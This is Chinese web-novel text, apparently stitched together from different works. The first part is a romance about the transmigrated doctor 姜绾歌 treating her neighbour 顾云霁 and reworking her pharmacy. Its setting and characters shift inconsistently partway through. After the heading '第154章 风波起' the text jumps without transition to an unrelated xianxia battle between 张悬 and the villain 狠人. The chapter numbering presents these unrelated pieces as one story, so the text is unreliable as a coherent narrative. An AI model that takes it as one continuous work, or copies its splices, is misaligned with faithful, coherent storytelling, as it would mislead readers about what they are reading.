热腾腾的米粥和简单的酱菜下肚,驱散了最后一丝寒意和不安,院子里很快充满了孩子们帮忙打扫、搬东西的稚嫩吆喝声和笑声。 姜绾歌也没闲着。她一头扎进规划好的诊室,从药囊里倒腾出瓶瓶罐罐,开始分门别类地整理。这些可都是她安身立命的本钱! “青柠!这个白瓷瓶放最上面架子!” “绿竹!那包晒干的紫苏叶放通风的角落!” “小石头!别搬那个大罐子!那是生石灰,危险!去帮绿竹姐扫地!” 她指挥得风风火火,小小的诊室很快有了点雏形。 对面的顾府大门依旧紧闭,安静得有点过分。 姜绾歌忙里偷闲瞥了一眼,心里嘀咕:那家伙不会真失血过多晕在自家门口了吧? 刚冒出这个念头,就听见一个懒洋洋的声音隔着院墙飘了过来: “姜大夫——” 声音不大,却清晰地传到姜绾歌耳朵里。 姜绾歌走到院子里,叉着腰,对着顾府大门的方向:“干嘛?王爷,黄金百两凑齐了?还是想通了要来体验辣椒水泡脚?” 墙那边沉默了一瞬,然后顾云霁的声音带着点无奈的声音传来。 “黄金暂时没有,辣椒水…也免了。就是这胳膊上的粽子…好像有点松了,还有点…痒得慌。姜大夫,您这‘对门邻居’的售后服务…是不是该跟上?” 姜绾歌翻了个白眼。就知道这家伙事儿多!她扬声回道:“等着!” 转身回屋,利索地收拾了一个小药箱,里面装着干净的布条、药膏和烈酒。 “青柠,绿竹,看着点孩子们,我去对面‘出诊’!诊金记他账上!”她交代一声,拎着小药箱就出了门。 姜绾歌走到顾府大门前,正要抬手敲门,厚重的黑漆大门却“吱呀”一声从里面打开了。 开门的不是顾云霁,而是一个穿着深色布衣、面容严肃、约莫四十多岁的中年男子,眼神锐利,动作无声无息,显然是个练家子。 他看到姜绾歌,微微躬身,声音刻板:“姜大夫,王爷请您进去。在下顾忠,府中管事。” 嚯?还有管家?看来这位邻居家底不薄。姜绾歌点点头,跟着顾忠走了进去。 一进门,姜绾歌就感觉这院子跟自家完全是两个风格。 同样是青石板铺地,但更大更开阔,也更…冷清。没什么花花草草,只有几棵苍劲的老松,透着股肃杀之气。 院子打扫得一尘不染,却没什么烟火气。 顾忠直接将她引到了东厢房的一间屋子。 推开门,顾云霁正靠在一张铺着厚厚皮毛垫子的软榻上,右手里还拿着本书,但显然没看进去。 左臂上的“粽子”果然有些松散,包扎的布条边缘还渗出了一点可疑的淡黄色痕迹。 他见姜绾歌进来,放下书,脸上又挂起那副懒洋洋的笑:“有劳姜大夫亲自登门‘售后’了。在下这破屋寒舍,比不得姜大夫那边热闹。” 姜绾歌没理他的调侃,走上前,动作麻利地打开药箱:“手伸出来。”语气是标准的医者口吻。 顾云霁乖乖伸出左臂。姜绾歌解开那层层的布条,露出伤口。 还好,没有感染恶化的迹象,就是药膏糊得到处都是,看着有点脏。 她先用烈酒棉球仔细清理掉糊掉的药膏和边缘的污渍,动作又快又稳。 “嘶…”冰凉的酒液和棉球擦拭过伤口边缘,顾云霁还是忍不住吸了口气。 “忍着点,大男人这点疼都受不了?”姜绾歌头也不抬,手下动作不停,重新敷上气味清奇的黑药粉,再用干净布条一层层仔细包扎好,最后打了个漂亮的结。 “好了。这两天别沾水,别用力,痒是伤口在长肉,忍着!再乱动崩开了,神仙也救不了你的胳膊!” 她收拾好药箱,站起身:“诊金加换药费,一共五两银子,承惠。顾管家,麻烦记个账。”她毫不客气地对门口的顾忠说道。 顾忠那张严肃的脸上似乎闪过一丝极淡的笑意,躬身应道:“是,姜大夫,记下了。” 顾云霁看着自己重新包扎整齐的胳膊,再看看姜绾歌一副公事公办、算盘打得噼啪响的样子,哭笑不得:“姜大夫,你这收费…比皇城根儿下的御医还狠啊?” 第152章 三文平安包 “御医能把你从阎王殿门口拽回来吗?御医能给你用独门秘制的生肌散吗?” 姜绾歌拎起药箱,理直气壮,“我这叫物超所值!王爷要是嫌贵,下次受伤…哦不,下次换药,可以找别人。” 她说完,转身就走,一点不拖泥带水。 “哎…”顾云霁想叫住她,人已经走到门口了。 他无奈地笑了笑,对着她的背影喊了一句:“姜大夫,晚上开伙吗?我这伤患…能不能厚着脸皮去蹭个饭?伙食费另算!” 姜绾歌脚步一顿,头也没回,只传来一句清脆的回应:“想蹭饭?行啊!带碗带筷!按人头收费,一人一两!童叟无欺!”话音未落,人已经消失在院门外。 顾云霁靠在软榻上,看着重新关上的房门,再看看自己包扎好的胳膊,又看看旁边刻板的顾忠,忽然觉得这冷清的院子也没那么无聊了。 他摸了摸下巴,对顾忠吩咐道:“忠叔,晚上…给我备个最大的碗。” 顾忠:“……是,王爷。”那张严肃的脸上,似乎又有什么东西龟裂了一下。 傍晚时分,姜宅的小院里飘起了久违的饭菜香。青柠和绿竹手脚麻利,用有限的食材整治出了一顿虽不丰盛但热乎可口的晚饭。 熬得浓稠的小米粥,炒得碧绿的青菜,还有一小碟酱菜和几个热腾腾的杂粮馒头。 孩子们围着小石桌坐好,小脸兴奋得红扑扑的。这是他们第一次在“家”里,和“家人”一起吃饭。 就在这时,院门被不轻不重地敲响了。 青柠跑去开门,门外站着的,赫然是换了身家常墨色长衫、依旧抱着剑(右手)、左手空着、身后跟着捧着个大空碗的顾忠的顾云霁。 “姜大夫,碗来了。”顾云霁笑得一脸无害,晃了晃自己空着的左手,“按人头,算我一个?” 他的目光越过青柠,落在院子里那桌冒着热气的饭菜上,眼神里透出点真实的渴望——折腾一天,他也真饿了。 姜绾歌正拿着勺子给小丫盛粥,闻言抬起头,看着门口那尊抱着剑、带着管家、捧着大碗的“门神”。 再看看自家这方小桌,没好气地哼了一声:“进来吧!小石头,去给他搬个小板凳!顾管家也一起?按人头收费,童叟无欺!” 顾忠捧着碗,刻板地摇头:“谢姜大夫,老奴不饿,在此等候王爷即可。”他恪守着管家的本分。 顾云霁倒是不客气,在小石头搬来的小板凳上坐下,位置正好在姜绾歌对面。 他毫不客气地拿起一个馒头咬了一口,又夹了一筷子青菜,吃得津津有味:“嗯,青柠姑娘手艺不错!比忠叔熬的药粥强多了!” 青柠被夸得脸一红。绿竹抿嘴偷笑。 姜绾歌瞪他一眼:“吃都堵不住你的嘴!饭钱记得结!”她自己也端起碗,喝了一口热粥。 温暖的粥水滑入胃里,驱散了身体的疲惫。 她看着小石头他们狼吞虎咽的样子,看着青柠绿竹温柔地照顾孩子们,再瞥一眼对面那个虽然吃着饭、眼神却总往自己这边瞟、还时不时跟小石头抢块酱菜的“对门伤员 院子里饭菜的香气、孩子们的叽叽喳喳、丫鬟们的轻声细语、还有某个蹭饭邻居偶尔的贫嘴…这些平凡而琐碎的烟火气,交织在一起,将她心中的最后一丝阴霾驱散。 这“姜宅”,终于像个家了。至于对门那个大麻烦...…姜绾歌夹起一筷子青菜,嘴角悄悄弯起一个弧度。 嗯,就当是给这烟火气,加点特别的调料吧。反正…诊金和饭钱,一个铜板都不能少! 夜深人静,杏林堂后院的小屋里烛火摇曳,昏黄的光影在墙上跳动着。姜绾歌伏案核查账目,眉头紧锁得能夹死苍蝇。 账本上那些数字像是在跟她作对——杏林堂三个月下来,盈余只有可怜巴巴的七两银子。 更要命的是,醉仙楼的客流也在锐减,比起春日里的火爆,如今简直是门可罗雀。 他娘的...这样下去,不出半年就得喝西北风了。 姜绾歌狠狠咬了咬唇,手指在账本上敲得啪啪作响。 烛光下,她的侧脸显得格外冷峻。那双眼睛里闪烁着不甘的光芒——她姜绾歌好歹也是从现代穿越过来的,怎么能被这点小困难给难倒? 得想办法破局...她放下毛笔,靠在椅背上长出一口气。 脑子里开始飞速转动起来,那些前世学过的商业知识一个个冒出头来。 市场细分!双轨发展! 姜绾歌猛地坐直身子,眼中迸发出兴奋的光芒。 对啊,她怎么没早点想到?京城的消费群体明显分为两极——平民百姓和达官贵人,需求完全不同,她却一直用一套产品想通吃,这不是找死吗? 阿福!她高声喊道。 门外传来匆忙的脚步声,伙计阿福睡眼惺忪地推门而入:东家,这么晚了......出什么事了? 出大事了!姜绾歌站起身,在屋里来回踱步,咱们要改革!彻底改革! 阿福被她兴奋的样子吓了一跳:东家......您没发烧吧?要不要我给您煎点退热汤? 退你个头!姜绾歌没好气地瞪他一眼,老娘脑子清醒得很!你给我听好了,从明天开始,咱们要推出新产品——三文平安包! 三文?阿福瞪大眼睛,东家,三文钱能买什么药啊?连一根人参须都买不起... 谁说非得用人参了?姜绾歌挥手打断他,走到药柜前开始翻检药材,药不在贵,对症就行。你看—— 她抓起一把紫苏叶和几片生姜:风寒感冒最常见吧?紫苏疏风散寒,生姜温中散寒,两样加起来成本不到一文钱,包装简化,三文钱卖,薄利多销! 阿福挠挠头:可是......会有人信吗? 当然会!姜绾歌信心十足,老百姓要的不是什么灵丹妙药,是既便宜又管用的实惠货。再来一个腹泻包——马齿苋清热解毒,专治拉肚子,成本更低。 第153章 培训 她越说越兴奋,脑子里的想法像泉水一样往外冒:包装要简化,用最普通的油纸包,上面印个简单的标识就行。量大了,成本自然就下来了。 阿福似懂非懂地点头,但还是忍不住担心:那...那些贵人老爷们怎么办?他们要是觉得咱们档次降低了...... 档次?姜绾歌冷笑一声,我给他们准备了更好的! 她走到柜子前,取出一个精致的小瓷瓶:玫瑰凝露!专门针对贵妇的美容需求。你知道那些夫人姑娘家的最怕什么吗?怕老!怕丑! 烛光在瓷瓶上折射出温润的光泽,姜绾歌轻抚着瓶身:玫瑰花瓣提取精华,加上珍珠粉,做成面膜。成本是高点,但卖价更高!一瓶能顶平民药包一百份的利润。 还有这个——她又掏出另一个瓶子,珍珠药膜。真珍珠研磨的粉,配合当归、白芷,能淡斑美白。贵妇们为了美,银子花起来眼都不眨的。 阿福听得目瞪口呆:东家...您这脑子,怎么突然这么多鬼点子? 什么鬼点子?这叫商业头脑!姜绾歌得意地挑眉,不过光有产品还不够,包装也得跟上。 她在桌上铺开一张纸,开始画图:给我去联系西域商人,买些玻璃瓶回来。透明的,精致的,拿在手里就有高级感。贵妇们买的不光是药,更是面子! 玻璃瓶?阿福咋舌,那得多贵啊... 贵有贵的道理!姜绾歌一拍桌子,你想想,同样的凝露,装在陶瓷瓶里卖十两,装在玻璃瓶里就能卖十五两!多出来的五两银子,够买一百个玻璃瓶了! 阿福似懂非懂地点头,心里对自家东家的商业头脑佩服得五体投地。 姜绾歌越想越兴奋,脑子里已经开始规划整个销售体系了:平民路线走量,贵妇路线走利润。两条腿走路,稳当! 她忽然想起什么,猛地站起身走到墙边,一把撕下贴了三年的陈旧价目表。 从今天开始,这些老掉牙的东西统统扔掉!纸片在她手中撕得粉碎,明天寅时,你就给我在门口挂上新牌子——"三文救急,药到病除"! 阿福被她的气势震住了:是...是!东家! 还有,姜绾歌转身指着他,马上叫醒那三个学徒,从今晚开始培训!基础药材的真伪辨识,包装流程,销售话术,一样都不能少! 现在?阿福看看窗外,可是都二更天了... 现在!立刻!马上!姜绾歌毫不妥协,机不可失,时不再来!等竞争对手反应过来,咱们早就占领市场了! 阿福哭丧着脸:可是学徒们都睡了... 睡什么睡?还想不想发财了?姜绾歌冷笑,告诉他们,今晚不睡觉是为了以后睡得更香!现在不努力,以后喝粥都没得喝! 她的语气里带着一股不容置疑的威严,阿福哪敢再反驳,连忙跑去叫人。 不一会儿,三个学徒被阿福连拖带拽地弄进屋里,一个个睡眼惺忪,还没搞清楚状况。 都醒醒!姜绾歌拍了拍手,从现在开始,我要教你们怎么辨识药材真伪。学不会的,明天就滚蛋! 最小的学徒小石头揉着眼睛:师父...这么晚了... 晚什么晚?姜绾歌瞪眼,想发财就得比别人更努力!你们以为钱是大风刮来的? 她走到药柜前,抓起一把党参:来,都看好了。真的党参是什么样的? 三个学徒强打精神围过来,姜绾歌开始详细讲解:看颜色,真党参呈淡黄色或淡棕色,假的往往颜色过白或过深。摸质地,真的柔韧,假的容易断。闻气味,真党参有淡淡的甜香,假的要么无味,要么有异味。 她一边说一边演示,三个学徒渐渐被吸引,睡意全消。 还有马齿苋,姜绾歌又拿起另一味药,这个更要仔细。真的马齿苋叶片肥厚,颜色深绿,假的往往叶片薄,颜色浅。而且真的有一股特殊的酸味,假的没有。 小石头举手问:师父,那紫苏呢? 好问题!姜绾歌满意地点头,紫苏叶片要完整,颜色紫中带绿,有浓郁的香味。破碎的、变色的都不能要。记住,咱们是做三文钱的生意,但品质不能打折扣! 她越讲越起劲,从药材辨识讲到包装技巧,从成本控制讲到销售策略。三个学徒听得如痴如醉,偶尔插几句话,气氛倒也热烈。 师父,另一个学徒小牛子问,那些贵妇的药怎么做? 那个更复杂。姜绾歌神秘一笑,玫瑰凝露的制作工艺,不是谁都能学会的。玫瑰花瓣要选最娇嫩的,在露水未干的清晨采摘。珍珠要选南海的,研磨成最细的粉末... 她详细讲解着每一个步骤,从原料选择到加工工艺,从配比到保存方法。学徒们听得入神,连连点头。 不知不觉,天色渐亮。透过窗棂洒进来的晨光告诉众人,一夜已过。 好了,姜绾歌伸了个懒腰,今天就先这样。记住我说的每一句话,明天正式开始实施。谁要是掉链子... 她眼中闪过一丝危险的光芒:老娘的银针可不长眼睛! 三个学徒打了个寒战,连忙保证绝不出错。 阿福也是满脸兴奋:东家,您这计划要是成了,咱们可就发大财了! 什么叫要是成?姜绾歌冷哼,老娘出马,哪有不成的道理? 她走到窗边,看着外面逐渐亮起的天色,心中豪情万丈:仁德堂那帮老古董,还在用老一套的经营方式。等老娘的新产品上市,看他们怎么应对! 晨风吹过,带起她鬓角的发丝。姜绾歌眯起眼睛,脑子里已经开始盘算下一步的动作了。 次日清晨,杏林堂门前早早挂上了崭新的招牌——三文救急,药到病除八个大字在晨光中格外显眼。 姜绾歌站在门口,看着阿福将一个个小巧的油纸包整齐摆放在柜台上。 每个药包上都贴着手写的标签:风寒包、腹泻包,字迹工整,价格醒目——三文钱。 第154章 风波起 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 